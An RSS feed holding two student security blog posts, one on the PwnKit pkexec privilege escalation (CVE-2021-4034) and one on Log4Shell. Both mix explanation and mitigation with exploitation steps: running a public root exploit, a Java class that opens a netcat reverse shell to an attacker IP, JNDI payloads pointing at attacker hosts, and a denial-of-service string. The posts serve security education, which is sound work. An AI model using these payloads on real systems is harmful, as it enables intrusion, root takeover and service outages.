<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Shivansh Sharma</title>
    <description>The latest articles on DEV Community by Shivansh Sharma (@5h1v4n5h5h4rm4).</description>
    <link>https://dev.to/5h1v4n5h5h4rm4</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F780166%2F02a62e68-7702-4e13-b1b8-09864a1020cb.jpg</url>
      <title>DEV Community: Shivansh Sharma</title>
      <link>https://dev.to/5h1v4n5h5h4rm4</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/5h1v4n5h5h4rm4"/>
    <language>en</language>
    <item>
      <title>PwnKit: PrivESC flaw in Linux</title>
      <dc:creator>Shivansh Sharma</dc:creator>
      <pubDate>Thu, 27 Jan 2022 18:02:53 +0000</pubDate>
      <link>https://dev.to/ieeecsvitc/pwnkit-privesc-flaw-in-linux-48nl</link>
      <guid>https://dev.to/ieeecsvitc/pwnkit-privesc-flaw-in-linux-48nl</guid>
      <description>&lt;p&gt;Security researchers had recently found a vulnerability in pkexec(allows an authorized user to execute PROGRAM as another user) that allows an authenticated user to perform a privilege escalation attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Privilege Escalation?
&lt;/h2&gt;

&lt;p&gt;Privilege escalation is the exploitation of a programming error in an operating system or application to gain privileged access to the system. In simple words, we exploit a vulnerability to gain access to other privileged accounts. &lt;br&gt;
For example, let's say you are using your school/Universities system and there are some folders that you are unable to access as they are asking for administrative accounts password or root accounts password this shows us that we are not having access to those folders as we are signed in as student user. Now to see content in the folder we have to escalate our privilege and become administrative/root user. As we don't know the password of the administrative/root account we will look for a vulnerability that will help us escalate our privileges, this escalation of privilege is called privilege escalation.&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerability in pkexec(CVE-2021-4034)
&lt;/h2&gt;

&lt;p&gt;pkexec is a part of a Linux component known as Policy Kit or Polkit that provides an authorization API through which unprivileged programs can access features offered by privileged programs or services. The pkexec utility itself also allows users to execute commands as another user and if no user is specified, it will execute the commands as root, the highest privileged account on Linux and UNIX systems.&lt;br&gt;
The Qualys Research Team has discovered a memory corruption vulnerability in polkit’s pkexec, a SUID-root program that is installed by default on every major Linux distribution. This easily exploited vulnerability allows any unprivileged user to gain full root privileges on a vulnerable host by exploiting this vulnerability in its default configuration.&lt;br&gt;
To get more technical insight on Vulnerability please refer to the Security researcher's Summary&lt;a href="https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt"&gt;https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt&lt;/a&gt;. Also, you can check this link out &lt;a href="https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683"&gt;https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Linux distros Affected
&lt;/h2&gt;

&lt;p&gt;As pkexec is installed by default on all major Linux distributions hence many of the popular Linux distributions are affected by this vulnerability. Researchers were successful in exploiting this vulnerability in Ubuntu, Debian, Fedora, and CentOS, they expect that many other Linux distros are also exploitable.&lt;/p&gt;
&lt;h2&gt;
  
  
  Check your system for Vulnerability
&lt;/h2&gt;

&lt;p&gt;This Vulnerability is a major threat for public computers which has multiple accounts and are used by multiple people.&lt;br&gt;
we will run an exploit for this vulnerability and if the exploit works then, this means your system is vulnerable to this vulnerability.&lt;br&gt;
Follow these Steps&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;We will download the exploit from GitHub using the below-mentioned command.&lt;br&gt;
&lt;br&gt;
&lt;code&gt;git clone https://github.com/berdav/CVE-2021-4034&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Then we will get inside the directory by &lt;code&gt;cd CVE-2021-4034&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;After this type &lt;code&gt;make&lt;/code&gt; command in terminal&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Now everything is set just type &lt;code&gt;./cve-2021-4034&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;now type the &lt;code&gt;whoami&lt;/code&gt; command you should get root in return.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5SM_fFzQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/42ia6tko2gns110h5stp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5SM_fFzQ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/42ia6tko2gns110h5stp.PNG" alt="PrivESC Demostraion in Kali Linux" width="645" height="514"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Researchers say that this vulnerability was there since the first version of pkexec i.e. this vulnerability was present for a decade.&lt;/p&gt;
&lt;h1&gt;
  
  
  Patch for Vulnerability
&lt;/h1&gt;

&lt;p&gt;All the Linux distros are in the process of releasing patches for this vulnerability or have documented alternative temporary mitigations.&lt;br&gt;
If patches for your distro are not released then you can remove the SUID-bit from pkexec as temporary mitigation using this command.&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;code&gt;chmod 0755 /usr/bin/pkexec&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2MM4qoM7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rlog7sycqcuqme6zwuc5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2MM4qoM7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rlog7sycqcuqme6zwuc5.PNG" alt="Demonstration of Vulnerability patch alternative" width="698" height="570"&gt;&lt;/a&gt;&lt;br&gt;
we can use the above-given command as an alternative until we get the vulnerability patched by our distros.&lt;br&gt;
Note: if you use the above-given command you might not be able to use the pkexec command as a non-root user.&lt;/p&gt;

</description>
      <category>security</category>
      <category>linux</category>
      <category>privesc</category>
    </item>
    <item>
      <title>Understanding and Exploiting Log4J Vulnerability</title>
      <dc:creator>Shivansh Sharma</dc:creator>
      <pubDate>Sat, 25 Dec 2021 19:23:11 +0000</pubDate>
      <link>https://dev.to/ieeecsvitc/understanding-and-exploiting-log4j-vulnerability-28ji</link>
      <guid>https://dev.to/ieeecsvitc/understanding-and-exploiting-log4j-vulnerability-28ji</guid>
      <description>&lt;p&gt;If you are here then you might have already heard of log4j vulnerability. It is the current trending topic in IT domain as this vulnerability made millions of sites vulnerable to RCE(Remote Code Execution). Lets try to understand what is Log4j and what vulnerability is exploited to gain RCE.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Log4J ?
&lt;/h2&gt;

&lt;p&gt;Log4J is a Java-based open source component maintained by the Apache Foundation that is commonly incorporated into Java applications. It allows to record traceability of operations at a functional and operational level in a multitude of services, even from a security point of view. So basically it is a library used for logging(maintaining a record of events occurred in a application) in applications.&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fer0ogd8yux7aj713z5ev.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fer0ogd8yux7aj713z5ev.png" alt="View of a Log file"&gt;&lt;/a&gt;this image shows how a log file look like.&lt;/p&gt;
&lt;h2&gt;
  
  
  What is the Vulnerability in Log4j?
&lt;/h2&gt;

&lt;p&gt;Developers were expecting the Log4j library to record application/server values, including input strings, with the expectation that those strings were plaintext and not able to invoke APIs but in log4j if we gave input parameter like &lt;code&gt;{jndi[:]ldap[:]//....&lt;/code&gt; we were able to invoke JNDI API. JNDI is the Java Naming and Directory Interface , It is a library/service allowing for runtime configuration. So, this JNDI API leads in leakage of sensitive information and thereby facilitate other attacks which finally results in getting a Reverse Shell.&lt;/p&gt;
&lt;h2&gt;
  
  
  Who are Affected by Log4J?
&lt;/h2&gt;

&lt;p&gt;Log4J can be found in variety of places. Its was widely used for logging in programmes, Application, Games, Application Development tool and hence hackers have a wide range of targets to attack.&lt;/p&gt;

&lt;p&gt;Average time to repair a software is 1-4 Weeks . As Log4J was widely used repairing it would takes years and hence this vulnerability is estimated to be exploited for years.&lt;/p&gt;

&lt;p&gt;From Open Source to Commercial Solutions all are affected by by this Vulnerability. Studies carried out by Google indicate that 8% of the packages in the central Maven repository have been affected by this vulnerability. you can check out this link for more info. &lt;a href="https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html" rel="noopener noreferrer"&gt;https://security.googleblog.com/2021/12/understanding-impact-of-apache-log4j.html&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Affected Companies(List Keeps on increasing)
&lt;/h4&gt;

&lt;p&gt;Apple, Intel, Amazon, Oracle, VMWare, IBM, Cisco, Redhat, Atlassian, BMC, Fortinet, F5, McAfee, Twitter, Baidu, Tesla, Palo Alto, SonicWALL, SolarWinds&lt;/p&gt;

&lt;p&gt;Many opensource solution are also affected here is the list of applications who used java in their infrastructure like Apache Struts, Apache Struts2,Apache Tomcat, Apache Spark, Apache Solr, Apache Kafka, ElasticSearch, flume, Log stash, IBM Qradar SIEM, NetApp, Pulse Secure, etc.&lt;/p&gt;

&lt;p&gt;Checkout this link for knowing Log4j impact on manufacturers&lt;br&gt;
&lt;a href="https://github.com/YfryTchsGD/Log4jAttackSurface" rel="noopener noreferrer"&gt;https://github.com/YfryTchsGD/Log4jAttackSurface&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What are Hackers Doing by Exploiting this Vulnerability
&lt;/h2&gt;

&lt;p&gt;Hackers are running ransomware campaign, Deploying botnets and Mine XMR coins on Compromised Systems. None the less if they get access to data they will steal it.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why Companies are not able to patch Log4J Completely?
&lt;/h2&gt;

&lt;p&gt;Most of the companies have patched their code base for Log4j but the problem that most of them are facing is that all the vendors of company need to patch log4j package in their product which is out of their control and they cannot do anything in that.&lt;/p&gt;
&lt;h2&gt;
  
  
  Checking if the site is Vulnerable to log4j RCE
&lt;/h2&gt;

&lt;p&gt;To check if the site is vulnerable to Log4J RCE first find areas where we can input strings (like search box, etc.).Then Visit &lt;a href="https://log4shell.huntress.com/" rel="noopener noreferrer"&gt;https://log4shell.huntress.com/&lt;/a&gt;&lt;br&gt;
and copy this text &lt;code&gt;${jndi:ldap://log4shell.huntress.com:1389/&amp;lt;Your unique identifier&amp;gt;}&lt;/code&gt; then paste it in the input area now go back to the page from where you copied and you will see a result keyword hyperlinked click on it and see if there is a entry of your site, if the entry is there then your site is vulnerable to log4j RCE.&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw9wwg0mwh7a1vcqch74.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmw9wwg0mwh7a1vcqch74.png" alt="log4shell"&gt;&lt;/a&gt;Now lets understand what is &lt;code&gt;log4shell.huntress.com&lt;/code&gt; doing and how is it checking our site for vulnerability. For this we have to understand how our input is working&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;{jndi:....&lt;/code&gt; ------&amp;gt; this invokes JNDI API and access external resources&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;:idap:....&lt;/code&gt; -----&amp;gt; this shows that target will reach out to an attacker controlled location over idap protocol&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;://log4shell.huntress.com:1389/&lt;/code&gt;-----&amp;gt; This is the address of attackers controlled host basically we are reaching out to this site.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All these parts makes us understand that we are establishing a connection between site and a attacker controlled host.&lt;/p&gt;

&lt;p&gt;Alternately you can use &lt;a href="https://github.com/cisagov/log4j-scanner" rel="noopener noreferrer"&gt;cisagov/log4j-scanner&lt;/a&gt; to scan for log4j Vulnerability on your site.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fixing The Vulnerability
&lt;/h2&gt;

&lt;p&gt;To fix this Vulnerability you should update your java and log4j to latest Version(i.e. Log4J V2.17 or above) this doesn't guarantee that Vulnerability is fully patched but reduces some what risk. Also check out snyk remediation cheat sheet &lt;a href="https://snyk.io/blog/log4shell-remediation-cheat-sheet/" rel="noopener noreferrer"&gt;https://snyk.io/blog/log4shell-remediation-cheat-sheet/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Vulnerabilities Published on Log4J
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228" rel="noopener noreferrer"&gt;CVE-2021-44228&lt;/a&gt; Version Affected: Apache Log4j2 2.0-beta9 a 2.12.1 y 2.13.0 a 2.15.0&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046" rel="noopener noreferrer"&gt;CVE-2021-45046&lt;/a&gt; Version Affected: 2.0.1 – 2.12.2 (excluded) y 2.13.0 – 2.16.0 (excluded)&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-45105" rel="noopener noreferrer"&gt;CVE-2021-45105&lt;/a&gt; Version Affected:Log4j2 versions 2.0-alpha1 hasta 2.16.0 (included).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Exploiting Vulnerability (ONLY FOR CVE-2021-44228 and CVE-2021-45046)
&lt;/h2&gt;

&lt;p&gt;for Exploiting this vulnerability we will be writing an payload and then we will be compiling it and then we will trigger it to get reverse shell.&lt;/p&gt;
&lt;h4&gt;
  
  
  Follow Steps:
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Here we are considering that our targeted server's OS is linux and netcat is already installed in it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash &amp;lt;YOUR.ATTACKER.IP.ADDRESS&amp;gt; &amp;lt;Listening port&amp;gt;");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Write exploit in Exploit.java file using above given code&lt;/li&gt;
&lt;li&gt;Compile the java file&lt;code&gt;javac Exploit.java -source 8 -target 8&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Host a temporary HTTP server for exploit&lt;/li&gt;
&lt;li&gt;set a net cat listener to listen to exploit.&lt;code&gt;nc -lnvp &amp;lt;Attacker port number&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;for CVE-2021-44228 put&lt;code&gt;{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:ATTACKER PORT/Exploit\}&lt;/code&gt;as input&lt;/li&gt;
&lt;li&gt;for CVE-2021-45046 put &lt;code&gt;{jndi:ldap://127.0.0.1#attacker.com/exploit}&lt;/code&gt; as input
1.you got a reverse shell.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For CVE-2021-45105 we cannot get a reverse shell but we can use &lt;code&gt;${${::-${::-$${::-j}}}}&lt;/code&gt; this parameter to  to generate a StackOverflow exception that may lead to the termination of the vulnerable application process, giving rise to a denial of service (DoS) vulnerability.&lt;/p&gt;

&lt;p&gt;Use this link to get technical insight on the Vulnerability&lt;br&gt;
&lt;a href="https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild" rel="noopener noreferrer"&gt;https://businessinsights.bitdefender.com/technical-advisory-zero-day-critical-vulnerability-in-log4j2-exploited-in-the-wild&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>java</category>
      <category>opensource</category>
    </item>
  </channel>
</rss>
